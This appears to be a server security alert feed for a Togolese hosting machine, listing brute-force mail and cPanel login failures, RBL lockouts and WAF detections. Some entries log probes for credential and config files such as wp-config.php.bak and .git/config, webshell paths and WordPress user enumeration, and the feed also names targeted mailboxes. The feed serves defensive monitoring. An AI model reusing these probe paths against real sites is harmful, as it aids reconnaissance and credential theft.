name: Exim Auth failed
abuser: 27.147.237.25
country_id: 1210997
description:
2026-06-09 03:30:44 dovecot_login authenticator failed for H=([91.92.243.93]) [27.147.237.25]:45950: 535 Incorrect authentication data (set_id=office@belali.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.230
country_id: 2300660
description:
Jun  9 06:37:29 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.135.198.96
country_id: 1733045
description:
2026-06-09 07:10:45 dovecot_login authenticator failed for H=([91.92.243.93]) [115.135.198.96]:25884: 535 Incorrect authentication data (set_id=soporte@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.217.243.36
country_id: 953987
description:
2026-06-09 06:15:47 dovecot_login authenticator failed for H=([91.92.243.93]) [102.217.243.36]:12726: 535 Incorrect authentication data (set_id=hr@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.173
country_id: 3865483
description:
Jun  9 07:38:09 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.158.248
country_id: 3017382
description:
2026-06-09 00:17:08 dovecot_login authenticator failed for H=([10.186.221.174]) [37.120.158.248]:49675: 535 Incorrect authentication data (set_id=support@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.66.28
country_id: 1269750
description:
Jun  9 05:41:48 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.66.28 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.192.96
country_id: 2363686
description:
[2026-06-09 11:33:57 +0000] info [cpaneld] 160.242.192.96 - vefzejhd "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.232.244.229
country_id: 3469034
description:
2026-06-09 03:31:21 dovecot_login authenticator failed for H=([91.92.243.93]) [45.232.244.229]:31338: 535 Incorrect authentication data (set_id=clients@belali.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.208.139.98
country_id: 2921044
description:
Jun  9 02:53:01 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.208.139.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.20.42.37
country_id: 1210997
description:
2026-06-09 03:29:00 dovecot_login authenticator failed for H=([91.92.243.93]) [157.20.42.37]:39262: 535 Incorrect authentication data (set_id=contacto@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.201.68.217
country_id: 1694008
description:
2026-06-09 07:07:36 dovecot_login authenticator failed for H=([91.92.243.93]) [112.201.68.217]:25245: 535 Incorrect authentication data (set_id=admin@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.23.222.99
country_id: 6252001
description:
2026-06-09 03:59:45 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [193.23.222.99]:50620: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.144.162
country_id: 1562822
domain: www.arse.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tghttp/www.arse.tg/mise-en-oeuvre-du-bie-2021-le-ministere-de-lenergie-lance-un-appel-doffre-international-en-vue-de-lelectrification-en-region/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.109
country_id: 3175395
description:
2026-06-09 03:46:48 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.113.109]:38132: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 99.252.110.146
country_id: 6251999
description:
2026-06-09 03:28:30 dovecot_login authenticator failed for H=pool-99-252-110-146.cpe.net.cable.rogers.com ([91.92.243.93]) [99.252.110.146]:40280: 535 Incorrect authentication data (set_id=contact@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.121
country_id: 2750405
description:
2026-06-09 04:00:00 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.158.121]:52748: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.216
country_id: 2750405
description:
2026-06-09 03:44:56 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.159.216]:43163: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.86.36
country_id: 1512440
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/route-nationale-n1-un-accident-fait-dix-morts/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.202.52
country_id: 953987
description:
Jun  9 03:12:02 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.202.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.61.37
country_id: 2635167
description:
2026-06-09 03:51:19 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [146.70.61.37]:21612: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.70.236
country_id: 3175395
description:
2026-06-09 03:56:26 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [45.92.70.236]:57442: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.163.184
country_id: 2750405
description:
Jun  9 03:43:22 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.163.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.201
country_id: 2750405
description:
2026-06-09 03:43:53 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.201]:31159: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.136
country_id: 3469034
description:
Jun  9 12:00:47 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.111.247.233
country_id: 1835841
description:
2026-06-09 02:53:25 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [61.111.247.233]:45734: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.113
country_id: 2963597
description:
Jun  9 09:48:02 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.227
country_id: 1643084
description:
[2026-06-09 10:37:38 +0000] info [cpaneld] 157.66.56.227 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN cpaneld: openid connect: 'cpaneld' provider 'cpanelid' encountered an error: (XID qcaf7u) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “cpaneld”.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.239.148.142
country_id: 3996063
description:
Jun  9 04:50:54 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.239.148.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.160.164
country_id: 1880251
description:
104.28.160.164 - - [09/Jun/2026:06:11:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934492&pdata=https%253A%252F%252Fucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780985511 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.160.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.98.222.166
country_id: 3865483
description:
Jun  9 07:16:26 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.98.222.166 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.242.230.113
country_id: 3017382
description:
[2026-06-09 05:32:24 +0000] info [cpaneld] 38.242.230.113 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.159.214
country_id: 2750405
description:
Jun  9 03:52:23 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.159.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.121
country_id: 6290252
description:
Jun  9 09:33:48 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.243.86.117
country_id: 2921044
description:
2026-06-09 03:47:00 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [83.243.86.117]:38110: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.48.13.65
country_id: 1861060
description:
2026-06-09 20:13:28 dovecot_plain authenticator failed for H=(d4si44a9exwwhu5dj0ilv7ysd) [86.48.13.65]:47796: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.167
country_id: 1269750
description:
Jun  9 14:49:38 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.92.213.13
country_id: 614540
description:
Jun  9 16:19:48 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.92.213.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.88.211.165
country_id: 1643084
description:
Jun  9 20:14:47 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.88.211.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.50.205.171
country_id: 3439705
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.114.233
country_id: 1880251
domain: www.whereis.free.netmaster.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.12||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.8.88.236
country_id: 2017370
description:
2026-06-09 20:13:48 dovecot_plain authenticator failed for H=(m9tte9l9fbqxhc26) [45.8.88.236]:58699: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.156.134.86
country_id: 2464461
description:
[2026-06-09 13:48:39 +0000] info [cpaneld] 102.156.134.86 - seft "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user seft (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 144.172.114.25
country_id: 6252001
domain: 127.0.0.1
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.12||T:APACHE||RA:144.172.114.25||TA:144.172.114.25||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.206.78
country_id: 953987
description:
Jun  9 14:06:03 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.206.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-06-09 20:14:06 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:54079: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.94
country_id: 3175395
description:
Jun  9 16:07:52 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.168
country_id: 1269750
description:
Jun  9 20:13:53 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.217
country_id: 3175395
description:
Jun  9 18:19:35 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.70.117.70
country_id: 2921044
description:
Jun  9 16:14:53 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.70.117.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.8.88.236
country_id: 2017370
description:
Jun  9 20:13:46 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.8.88.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.148.240.97
country_id: 3469034
description:
Jun  9 17:15:10 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.148.240.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.230.184
country_id: 1814991
description:
Jun  9 20:14:04 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.230.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.117.70
country_id: 2921044
description:
2026-06-09 16:14:55 dovecot_login authenticator failed for H=([10.150.165.179]) [146.70.117.70]:58394: 535 Incorrect authentication data (set_id=wilfried.t@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-09 18:04:07 +0000] info [whostmgrd] 104.28.192.94 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  9 13:51:06 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-06-09 20:13:55 dovecot_login authenticator failed for H=(nsg-corporate-168.229.187.122.airtel.in) [122.187.229.168]:50946: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.113.214
country_id: 1562822
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.133.39
country_id: 1562822
domain: inh.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/inh.free.netmaster.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 13.87.216.119
country_id: 6252001
domain: cpcalendars.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/@fs/.git/config?import&raw||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.54.195.168
country_id: 3439705
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.42.1.66
country_id: 6252001
description:
IM360 WAF: Bad file extension||RSV:8.12||T:APACHE||MVN:REQUEST_FILENAME||MV:/nice ports,/Trinity.txt.bak||User:root||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.130
country_id: 1880251
description:
47.128.121.130 - - [09/Jun/2026:20:15:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932934&pdata=https%253A%252F%252Ftogomedia24.tg%252F2024%252F10%252F11%252Felim-can-2025-le-togo-etrille-par-lalgerie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036143 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2024/10/11/elim-can-2025-le-togo-etrille-par-lalgerie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.130


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 13.214.199.14
country_id: 1880251
domain: autodiscover.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/R26tEtZa4M9KX5QDZzm-xZR9vU1f6eF8tbbhJPZR4Zk||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.33.132.203
country_id: 3686110
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.169.136
country_id: 1562822
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/mrtg/host-209-198-244-194.interpacket.net.html HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.246.192
country_id: 1562822
domain: cloud-et-racks.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-et-racks.tghttp/cloud-et-racks.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 16.16.172.186
country_id: 2661886
domain: mail.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/NS_7VKJ9NcdOYFX7jLUloGmCyG3JTCma-4_V6pXFf1s||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350492
name: IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)
abuser: 159.203.34.15
country_id: 6251999
domain: 154.70.82.244
description:
IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)||MV:/wp-content/debug.log||WPU:||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.5.191.19
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.73.119.71
country_id: 1168579
domain: devtech.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/devtech.free.netmaster.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 159.203.34.15
country_id: 6251999
domain: 154.70.82.244
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.12||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.226
country_id: 690791
description:
Jun  9 20:16:12 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.226 has been locked due to Imunify RBL


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 16.16.172.186
country_id: 2661886
domain: cpcalendars.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/5XfxF4-8xzruX2K0r4TOLqkChGyDDnJlSyUhEHocvkA||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 18.226.13.50
country_id: 6252001
domain: webmail.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/Ub1obxt5Kyyg6IO29sgre1jD_1lHTi93BUdQjPy2958||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.122.93
country_id: 1880251
domain: ns5.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.12||T:APACHE||MV:/wp-content/uploads/index.php||SC:/var/www/html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.186.238.116
country_id: 1210997
domain: www.cloud-et-racks.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-et-racks.tghttp/www.cloud-et-racks.tg/?trk=public_post-text HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.97.56
country_id: 1562822
domain: www.mediatopnews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mediatopnews.tghttp/www.mediatopnews.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 122.8.47.32
country_id: 1814991
domain: gatti.free.netmaster.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.12||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 54.179.177.52
country_id: 1880251
domain: cpcontacts.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/tH2DxJdD-xgG1Yyt-WRDhq5hKgEpYzv-ohAOWHwaLBQ||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.61.57
country_id: 99237
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=120 HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 65.49.1.37
country_id: 6252001
domain: 154.70.82.244
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.28 Safari/537.36||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.185
country_id: 6252001
domain: 54.187.209.101
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/54.187.209.101/azenv4.php HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.115.199.143
country_id: 1168579
domain: www.brmn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.brmn.tghttp/www.brmn.tg/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:20:15:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646122&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flaboratoire-danalyses-de-biologie-medicale-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036146 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/laboratoire-danalyses-de-biologie-medicale-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 47.128.72.146
country_id: 1880251
domain: webdisk.genuine-orange-turtle.154-70-82-246.cpanel.site
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/eSTUS1KmkeQ6Ds769SZyApdHqvP8aHKyrc728ciSynE||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 4.193.122.93
country_id: 1880251
domain: ns5.netmaster.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.53.173.143
country_id: 630336
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/togo-agbozoh-kwasi-mawusi-nouveau-directeur-radio-ephphatha/ HTTP/1.1||RSV:8.12||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.56.120.34
country_id: 6252001
domain: 54.187.209.101
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/54.187.209.101/azenv5.php HTTP/1.1||RSV:8.12||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [09/Jun/2026:20:16:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6659532&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finstitution-francaise-de-formation-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036159 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/institution-francaise-de-formation-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
